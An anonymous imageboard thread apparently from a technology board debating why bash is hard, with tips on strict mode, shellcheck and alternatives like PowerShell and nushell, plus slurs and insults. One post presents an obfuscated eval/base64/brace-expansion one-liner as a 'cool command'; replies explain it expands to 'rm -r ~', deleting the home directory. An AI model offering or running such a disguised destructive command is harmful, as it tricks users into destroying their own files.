Why is bash so complicated?

Why is bash so complicated?

  1. 3 weeks ago
    Anonymous

    >echo "nagger"
    wow, so hard

    • 3 weeks ago
      Anonymous

      When are we going to address the shell alignment problem so people can't do this?

  2. 3 weeks ago
    Anonymous

    1) it's 30 years old
    2) it was designed to be compatible with sh, which is 40 years old

    • 3 weeks ago
      Anonymous

      >2) it was designed to be compatible with sh, which is 40 years old
      more like 50 years old. I know that Bourne did a rewrite but how much different could it be from the original shell?

      • 3 weeks ago
        Anonymous

        The original shell was crazy minimal like a borderline monitor. Bourne shell is arguably what defined the Unix shell, not really what Ken Thompson wrote.

  3. 3 weeks ago
    Anonymous

    what filtered you?

  4. 3 weeks ago
    Anonymous

    I write node scripts
    #!/usr/bin/env node

    • 3 weeks ago
      Anonymous

      for me it's
      #!/usr/bin/tcc -run
      #include <stdio.h>
      void main(void) {
      puts("hello world");
      }

    • 3 weeks ago
      Anonymous

      wait how that didn't occur to me. i was surprised the other day it worked with zsh

      • 3 weeks ago
        Anonymous

        >be Gentoo
        >some anon reports a build failure with some syntax error in a posix sh script
        >stare at the fucking script, everything is normal, works with both dash and bash, and about any other posix shell that Gentoo let you pick as /bin/sh.. surely didn't symlink manually to something else
        >look at his emerge --info more closely
        >sh zsh 5.9-r4

  5. 3 weeks ago
    中出し

    Put this at the top of all your bash scripts.

    set -eo pipefail

    And install "shellcheck" and configure an extension for your editor of choice.

    • 3 weeks ago
      Anonymous

      >not set -euo pipefail
      shameful display

      • 3 weeks ago
        中出し

        -u is too restrictive.
        It doesn't let you expand environment variables that you know might be unset.
        If you have to ensure a specific variable must be set just use ${VAR:?}

        • 3 weeks ago
          Anonymous

          it does let you, you just have to be explicit that you are aware of that

          e.g. ${VAR:-}

          • 3 weeks ago
            Anonymous

            wow, thank you!
            every time i wanted to run command with bash strict mode, i had to comment # set ...

    • 3 weeks ago
      Anonymous

      >set -eo pipefail
      >shellcheck
      bash is obviously not your thing
      why don't you write your scripts in an easier language

    • 3 weeks ago
      Anonymous

      >set -eo pipefail
      umm that meme is reddit af and doesnt help with any actual important bash pitfalls whatsoever

    • 3 weeks ago
      Anonymous

      If you need the kind of correctness that shellcheck tries to provide, why in the name of God are you even using a shell script?

  6. 3 weeks ago
    Anonymous

    It's not, you're just retarded.

  7. 3 weeks ago
    Anonymous

    because you did not read the manual

  8. 3 weeks ago
    Anonymous

    I used to write a lot of shell code, scripts with hundreds or even thousands of lines. Nowadays I just use babashka for everything that would be larger than 5 lines of code.
    Life is too short to try to remember bash syntax.

  9. 3 weeks ago
    Anonymous

    Shellcheck improved my scripts by 200%

  10. 3 weeks ago
    Anonymous

    The same problem as Windows. Be compatible with older shell. Also Boomers. At least just works.

  11. 3 weeks ago
    Anonymous

    It's not, you're just stupid.

  12. 3 weeks ago
    Anonymous

    bash is an absolute garbage, powershell is so much better in every aspect it's not even funny

    • 3 weeks ago
      中出し

      PowerShell is fantastic yes, but bash is also adequate and it's built-in to _almost_ every single relevant linux distro.

      it does let you, you just have to be explicit that you are aware of that

      e.g. ${VAR:-}

      Hmmm that's true... I'll add -u from now on and see how it goes.

    • 3 weeks ago
      Anonymous

      Cuz powershell is newer than bash? Also, it's focus on one OS.

      • 3 weeks ago
        Anonymous

        Powershell core is cross OS, and yeah the historical garbage baggage is exactly why I dislike bash so much
        Tbh im here to shit on bash not to advocate powershell, python is a nice replacement for it as well

        • 3 weeks ago
          Anonymous

          >le dotnet is portable
          Lol. Go back to Seattle and don't spread your curry over here on the East Coast.

        • 3 weeks ago
          Anonymous

          pwsh is the future

        • 3 weeks ago
          Anonymous

          >yeah the historical garbage baggage is exactly why I dislike bash
          mkdir AUX
          ^try doing this on windows, you can't

          • 3 weeks ago
            Anonymous

            who cares, retard.

    • 3 weeks ago
      Anonymous

      Powershell core is cross OS, and yeah the historical garbage baggage is exactly why I dislike bash so much
      Tbh im here to shit on bash not to advocate powershell, python is a nice replacement for it as well

      pwsh is the future

      How exactly is PowerShell better than Bash "in every aspect"? What can it do better?

      • 3 weeks ago
        Anonymous

        Working with objects is much better than having to sanitize strings

      • 3 weeks ago
        Anonymous

        bash is the freetard version of 70s unix shells. it's much better than the originals, but still heavily limited by POSIX brain worms. improving on it was not at all an achievement
        that said unless you're doing windows sysadmin pwsh is still kind of bad, especially when used interactively

      • 3 weeks ago
        中出し

        One easy example is that parameter parsing is 100x better.
        Your scripts get autocomplete on the parameters by default, you don't need to fuck around with writing a custom autocompletion function like you do in bash.

        >set -eo pipefail
        umm that meme is reddit af and doesnt help with any actual important bash pitfalls whatsoever

        If you need the kind of correctness that shellcheck tries to provide, why in the name of God are you even using a shell script?

        >set -eo pipefail
        >shellcheck
        bash is obviously not your thing
        why don't you write your scripts in an easier language

        Seething naggers who cant write good robust scripts.
        It's clear that you've never written more than a two line script to call yt-dlp. Kek.

        • 3 weeks ago
          Anonymous

          I have a few 100+ line scripts. The only reason they haven't been ported to something saner is because they depend on shell-specific retardation to work.

  13. 3 weeks ago
    Anonymous

    poetering made systemd cause he couldnt handle init scripts

  14. 3 weeks ago
    Anonymous

    imagine not using lastpipe

  15. 3 weeks ago
    Anonymous

    just use posix sh for scripting, should be more than sufficient

  16. 3 weeks ago
    Anonymous

    This is a good resource https://tldp.org/LDP/Bash-Beginners-Guide/html/index.html
    Also, run your bash scripts through shellcheck to make sure you're not doing anything stupid.

  17. 3 weeks ago
    Anonymous

    It's not as complicated as the bullshit they try to replace it with (ansible, nix, Goddamn powershell etc.)

  18. 3 weeks ago
    Anonymous

    Is this the cool terminal commands thread?
    eval $(base64 -d "9r-b`{r,h4+w,}{m,,0iA/Q}{,~,uFH-6W,-r,I%DP}`S+sAMU")

    • 3 weeks ago
      Anonymous

      boo, get new commands

    • 3 weeks ago
      Anonymous

      atleast try something more creative, this is just sad to see

    • 3 weeks ago
      Anonymous

      How does this work?

      • 3 weeks ago
        Anonymous

        It's just doing bunch of shell{exp,ans,ion} inside `` which put a r and a m together, then a -r, and your homedir from ~
        e.g. echo badcommand {-r,~}

        The rest is just fluff to obfuscate, including base64.

        • 3 weeks ago
          Anonymous

          Is there a way to deobfuscate it or something?

          • 3 weeks ago
            Anonymous

            not by removing the eval if it's what you had in mind

            • 3 weeks ago
              Anonymous

              It's just fluff surrounding backticks and {} expansion. It basically is deobfuscated.

              Ohhh I get it. I was just playing around with this, I think it just runs every possible combination of the letters that are inside the curly brackets, which eventually will be "rm -r ~"
              I was already aware of the zelda aplay one, but this one puts some more effort into it. Cool to know.

          • 3 weeks ago
            Anonymous

            It's just fluff surrounding backticks and {} expansion. It basically is deobfuscated.

  19. 3 weeks ago
    Anonymous

    csh chads rise up

  20. 3 weeks ago
    Anonymous

    holy shit i need to make a javascript shell or someshit
    why did they even come up with shell at the first place, its so retarded

    • 3 weeks ago
      Anonymous

      it's a shell.. it gives you a command line and you run commands, at worst with the occasional simple loop

      don't treat it like a full blown all purpose interpreted language to write scripts in

    • 3 weeks ago
      Anonymous

      Basically did that with lisp, the main challenge was deliminating between command substitution and pipes as I wanted to treat both as composition. Also I gave shell functions named parameters so (let (square x) (* x x)) expands to square () { local x=$1; echo $(($x * $x)); } it's pretty nice

  21. 3 weeks ago
    Anonymous

    Nice digits, but Bash isn't complicated. It's very simple, but far from easy.
    Languages have certain tradeoffs in making simple things easy while making hard things possible.
    Bash makes simple things very, very easy, and many hard things outright impossible.
    It has its justifiable place in the spectrum of languages but you'll likely need some other scripting language beside it.

  22. 3 weeks ago
    Anonymous

    >if [ $1 -gt 100 ]
    Might as well kill myself.

  23. 3 weeks ago
    Anonymous

    Will something ever replace Bash?
    inb4 z-zzzzsh
    I said replace.
    Call me once it's a default option for most distros or at least all major distros and widely used by global infrastructure and corporate world.

    • 3 weeks ago
      Anonymous

      busybox ash

    • 3 weeks ago
      Anonymous

      >Will something ever replace Bash?
      Literally any other scripting language already can. Bash scripting is shit and only still exists for backward compatability.

    • 3 weeks ago
      Anonymous

      most distros ship python and perl

  24. 3 weeks ago
    Anonymous

    Bash isn't complicated and is amazing for easily scripting casual shit you need to do. Why did you make this thread? To slide?

  25. 3 weeks ago
    Anonymous

    Just install nushell and stfu. Better error messages, modern rewrite of builtin commands and most importantly normal syntax for arrays, filtering etc

  26. 3 weeks ago
    Anonymous

    Why does Bash filter Wintards?

  27. 3 weeks ago
    Anonymous

    for me it's nushell, really feels like it was made just for me
    https://github.com/nushell/nushell

  28. 3 weeks ago
    Anonymous

    tbh doing math in bash is annoying and I can never remember the rules around [] and [[]].
    If I can do it simply with bash, I will, but otherwise if it gets more complicated I just do it in python.

  29. 3 weeks ago
    Anonymous

    it's probably the least complicated language there is. you might be retarded.

Your email address will not be published. Required fields are marked *